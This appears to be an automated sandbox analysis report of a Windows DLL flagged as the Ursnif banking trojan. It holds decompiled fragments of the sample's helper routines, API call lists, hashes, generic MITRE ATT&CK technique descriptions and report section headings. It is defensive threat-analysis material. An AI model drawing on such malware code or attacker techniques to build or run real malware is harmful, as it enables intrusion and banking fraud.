__amsg_exit.LIBCMT ref: 6D4C53E2
__lock.LIBCMT ref: 6D4C53F2

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: c5de164001cbdc3ee88abc12fbeed37d5b74b2bad4bf5177194275533d6a0978
Instruction ID: 5fe74f74c7670dca781076a66ff823b2115d941aa4245807cd2af798957ca894
Opcode Fuzzy Hash: c5de164001cbdc3ee88abc12fbeed37d5b74b2bad4bf5177194275533d6a0978
Instruction Fuzzy Hash: 16F09639958740DBD720EB748401F6E72B06F4031AF52495DD551A73A0DBB49D41CBD3

Uniqueness

Uniqueness Score: -1.00%

Function 008123F4, Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E008123F4(void** __esi) {
				char* _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t11;
				void* _t12;
				void** _t14;

				_t14 = __esi;
				_t4 =  *0x81d32c; // 0x4e195b0
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x81d32c; // 0x4e195b0
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t14;
				if(_t8 != 0 && _t8 != 0x81d030) {
					HeapFree( *0x81d238, 0, _t8);
				}
				_t14[1] = E0081486F(_v0, _t14);
				_t11 =  *0x81d32c; // 0x4e195b0
				_t12 = _t11 + 0x40;
				__imp__(_t12);
				return _t12;
			}

0x008123f4
0x008123f4
0x008123fd
0x0081240d
0x0081240d
0x00812412
0x00812417
0x00000000
0x00000000
0x00812407
0x00812407
0x00812419
0x0081241d
0x0081242f
0x0081242f
0x0081243f
0x00812442
0x00812447
0x0081244b
0x00812451

APIs

RtlEnterCriticalSection.NTDLL(04E19570), ref: 008123FD
Sleep.KERNEL32(0000000A,?,00815D25), ref: 00812407
HeapFree.KERNEL32(00000000,00000000,?,00815D25), ref: 0081242F
RtlLeaveCriticalSection.NTDLL(04E19570), ref: 0081244B

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: ed3f09345704f359b051b3e30f7a1b439bc2a1ffc67dbd4621de6458175620c7
Instruction ID: b6e09707854e01b549b6819920ded7d9a1f5a889a68038a7c4c97e05dc5f1866
Opcode Fuzzy Hash: ed3f09345704f359b051b3e30f7a1b439bc2a1ffc67dbd4621de6458175620c7
Instruction Fuzzy Hash: 43F03F71A00640EBE7209FA9EC48FCA77ECFF1C740B01C004F656C6260D720E8E0CA6A

Uniqueness

Uniqueness Score: -1.00%

Function 00811B42, Relevance: 6.0, APIs: 4, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00811B42() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x81d26c; // 0x2d8
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x81d2bc; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x81d26c; // 0x2d8
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x81d238; // 0x4a20000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}

0x00811b42
0x00811b49
0x00811b93
0x00811b95
0x00811b95
0x00811b4d
0x00811b53
0x00811b58
0x00811b5c
0x00811b62
0x00811b69
0x00000000
0x00000000
0x00811b6b
0x00811b70
0x00000000
0x00000000
0x00000000
0x00811b70
0x00811b72
0x00811b7a
0x00811b7d
0x00811b7d
0x00811b83
0x00811b8a
0x00811b8d
0x00811b8d
0x00000000

APIs

SetEvent.KERNEL32(000002D8,00000001,00814F0E), ref: 00811B4D
SleepEx.KERNEL32(00000064,00000001), ref: 00811B5C
CloseHandle.KERNEL32(000002D8), ref: 00811B7D
HeapDestroy.KERNEL32(04A20000), ref: 00811B8D

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseDestroyEventHandleHeapSleep
String ID:
API String ID: 4109453060-0
Opcode ID: 009eebee87ec006a409a5873a66ff824c855b0ef2c32e4147cab6ed708de6b3f
Instruction ID: b2c1cd642d37b9d462d2e5ad4d26ae7fe6a5dbd18ac0fdd6a87fa92775c0374b
Opcode Fuzzy Hash: 009eebee87ec006a409a5873a66ff824c855b0ef2c32e4147cab6ed708de6b3f
Instruction Fuzzy Hash: 7FF01CB1A4A711D7DB105B35EC4CFD63B9CFF087717058210BD15D72A0EB70D9809660

Uniqueness

Uniqueness Score: -1.00%

Function 00816702, Relevance: 6.0, APIs: 4, Instructions: 28
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00816702() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x81d32c; // 0x4e195b0
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x81d32c; // 0x4e195b0
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x81d32c; // 0x4e195b0
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x81e81a) {
					HeapFree( *0x81d238, 0, _t10);
					_t7 =  *0x81d32c; // 0x4e195b0
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}

0x00816702
0x0081670b
0x0081671b
0x0081671b
0x00816720
0x00816725
0x00000000
0x00000000
0x00816715
0x00816715
0x00816727
0x0081672c
0x00816730
0x00816743
0x00816749
0x00816749
0x00816752
0x00816754
0x00816758
0x0081675e

APIs

RtlEnterCriticalSection.NTDLL(04E19570), ref: 0081670B
Sleep.KERNEL32(0000000A,?,00815D25), ref: 00816715
HeapFree.KERNEL32(00000000,?,?,00815D25), ref: 00816743
RtlLeaveCriticalSection.NTDLL(04E19570), ref: 00816758

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: b9ca5c6937ae16cf1d270bb35fd163606d43fd79601d3e1b71c3fffee1e8c528
Instruction ID: 0df46d95e4d14012a5b315d9041ef13293f425bc463edc49ff6a27a0201f7103
Opcode Fuzzy Hash: b9ca5c6937ae16cf1d270bb35fd163606d43fd79601d3e1b71c3fffee1e8c528
Instruction Fuzzy Hash: 66F0B274A40200DBE7188BA5ED99BA577EDFF08704B05C919E906C73B0E730AC90CA11

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C83B6, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6D4C83C5

Part of subcall function 6D4CAEC6: __getptd_noexit.LIBCMT ref: 6D4CAEC9
Part of subcall function 6D4CAEC6: __amsg_exit.LIBCMT ref: 6D4CAED6

__getptd.LIBCMT ref: 6D4C83D3

Strings

csm, xrefs: 6D4C83E1

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: b379784f21376378956890797898c50fa94f265a2b5d3dfdd8b7aa5412bfc9b9
Instruction ID: e816e9abfdaa87da332e3227f1ca4d22294937cbf5dcc6c883267024de5be3eb
Opcode Fuzzy Hash: b379784f21376378956890797898c50fa94f265a2b5d3dfdd8b7aa5412bfc9b9
Instruction Fuzzy Hash: 5F014639808606EACB24DF60D440EBDB7F5BF08215F20882ED451A62A0EB318D81CB8B

Uniqueness

Uniqueness Score: -1.00%

Function 6D4D3638, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 6D4D3647

Part of subcall function 6D4C7E3F: __lock.LIBCMT ref: 6D4C7E64

__ftelli64_nolock.LIBCMT ref: 6D4D3654

Part of subcall function 6D4D32EC: __fileno.LIBCMT ref: 6D4D330C
Part of subcall function 6D4D32EC: __lseeki64.LIBCMT ref: 6D4D3329

Strings

{Lm, xrefs: 6D4D366C

Memory Dump Source

Source File: 00000004.00000002.1019206670.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: __fileno__ftelli64_nolock__lock__lock_file__lseeki64
String ID: {Lm
API String ID: 1600627125-2039653669
Opcode ID: ee75d09f1eda923363153fca1fc5fca77279ccfad24c1878b1d1c51768408805
Instruction ID: 0c7cb97f5010ddf9d32546e82df238e618616ec76247959c6cd1fccf754e2ef5
Opcode Fuzzy Hash: ee75d09f1eda923363153fca1fc5fca77279ccfad24c1878b1d1c51768408805
Instruction Fuzzy Hash: DAE04F75C04208ABCF40DFA4C801FCDBBB0AF84319F618118D114761A0CB395D419B85

Uniqueness

Uniqueness Score: -1.00%

Function 00815AF1, Relevance: 5.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00815AF1(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E0081A71F(_t2);
				if(_t34 != 0) {
					_t30 = E0081A71F(_t28);
					if(_t30 == 0) {
						E0081A734(_t34);
					} else {
						_t39 = _a4;
						_t22 = E0081A782(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E0081A782(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}

0x00815af1
0x00815afb
0x00815afd
0x00815b03
0x00815b03
0x00815b0c
0x00815b10
0x00815b1c
0x00815b20
0x00815b94
0x00815b22
0x00815b22
0x00815b26
0x00815b2b
0x00815b30
0x00815b4a
0x00815b39
0x00815b39
0x00815b3d
0x00815b40
0x00815b45
0x00815b45
0x00815b4f
0x00815b77
0x00815b7d
0x00815b80
0x00815b51
0x00815b53
0x00815b5b
0x00815b66
0x00815b6b
0x00815b6b
0x00815b87
0x00815b8e
0x00815b8f
0x00815b8f
0x00815b20
0x00815b9f

APIs

lstrlen.KERNEL32(00000000,00000008,?,73B74D40,?,?,00813E08,?,?,?,?,00000102,008167B8,?,?,00000000), ref: 00815AFD

Part of subcall function 0081A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00815595), ref: 0081A72B

Part of subcall function 0081A782: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,00815B2B,00000000,00000001,00000001,?,?,00813E08,?,?,?,?,00000102), ref: 0081A790
Part of subcall function 0081A782: StrChrA.SHLWAPI(?,0000003F,?,?,00813E08,?,?,?,?,00000102,008167B8,?,?,00000000,00000000), ref: 0081A79A

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,00813E08,?,?,?,?,00000102,008167B8,?), ref: 00815B5B
lstrcpy.KERNEL32(00000000,00000000), ref: 00815B6B
lstrcpy.KERNEL32(00000000,00000000), ref: 00815B77

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: 4fce0e274d9d4efe1a0e1a061a0522a075c4dc72db863f6708230c23d291a805
Instruction ID: 4f839def21fb31406353a679dfee6cb5ec3c2a723171841397da4a3bc6000eb0
Opcode Fuzzy Hash: 4fce0e274d9d4efe1a0e1a061a0522a075c4dc72db863f6708230c23d291a805
Instruction Fuzzy Hash: 7B21C0B6509619EBCB125F68CC44ADA7FBDFF563A4B148054F945DB201D770CA8087E1

Uniqueness

Uniqueness Score: -1.00%

Function 008145C6, Relevance: 5.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E008145C6(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E0081A71F(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}

0x008145db
0x008145df
0x008145e9
0x008145ee
0x008145f3
0x008145f5
0x008145fd
0x00814602
0x00814610
0x00814615
0x0081461f

APIs

lstrlenW.KERNEL32(004F0053,?,73B75520,00000008,04E1935C,?,00818D93,004F0053,04E1935C,?,?,?,?,?,?,0081523E), ref: 008145D6
lstrlenW.KERNEL32(00818D93,?,00818D93,004F0053,04E1935C,?,?,?,?,?,?,0081523E), ref: 008145DD

Part of subcall function 0081A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00815595), ref: 0081A72B

memcpy.NTDLL(00000000,004F0053,73B769A0,?,?,00818D93,004F0053,04E1935C,?,?,?,?,?,?,0081523E), ref: 008145FD
memcpy.NTDLL(73B769A0,00818D93,00000002,00000000,004F0053,73B769A0,?,?,00818D93,004F0053,04E1935C), ref: 00814610

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlenmemcpy$AllocateHeap
String ID:
API String ID: 2411391700-0
Opcode ID: 81eb48f5b00837ae9850d5661deaf3bdbadc8f2b577f3881f34b003b8921c688
Instruction ID: 51e01f5bb31f9a39eb8a67a4d1bb19bdb7c99c5cdab22b9c893263d9ca715382
Opcode Fuzzy Hash: 81eb48f5b00837ae9850d5661deaf3bdbadc8f2b577f3881f34b003b8921c688
Instruction Fuzzy Hash: BDF04936901118BBCF11EFA8CC85CCF7BACEF093547118062FA04D7202E771EA148BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0081361A, Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(04E19A78,00000000,00000000,745EC740,008120ED,00000000), ref: 0081362A
lstrlen.KERNEL32(?), ref: 00813632

Part of subcall function 0081A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00815595), ref: 0081A72B

lstrcpy.KERNEL32(00000000,04E19A78), ref: 00813646
lstrcat.KERNEL32(00000000,?), ref: 00813651

Memory Dump Source

Source File: 00000004.00000002.1017225791.0000000000811000.00000020.00000001.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1017217958.0000000000810000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017240368.000000000081C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.1017249230.000000000081D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.1017257471.000000000081F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: 6db04fe52bc774d05c687e4cb2ea14738de1072324e6c72dd435d8c9a5bcbf02
Instruction ID: 4c46f1f381fafb6ebb228a5fb0b774ea7d33e2307f0dc66a2f2963dc8029dae3
Opcode Fuzzy Hash: 6db04fe52bc774d05c687e4cb2ea14738de1072324e6c72dd435d8c9a5bcbf02
Instruction Fuzzy Hash: 0CE09237501A21AB8711ABE8AC48CDBBBADFF9D6517044417F600D3120C73599018BA1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report c36.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Ursnif

Yara Overview

Memory Dumps

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets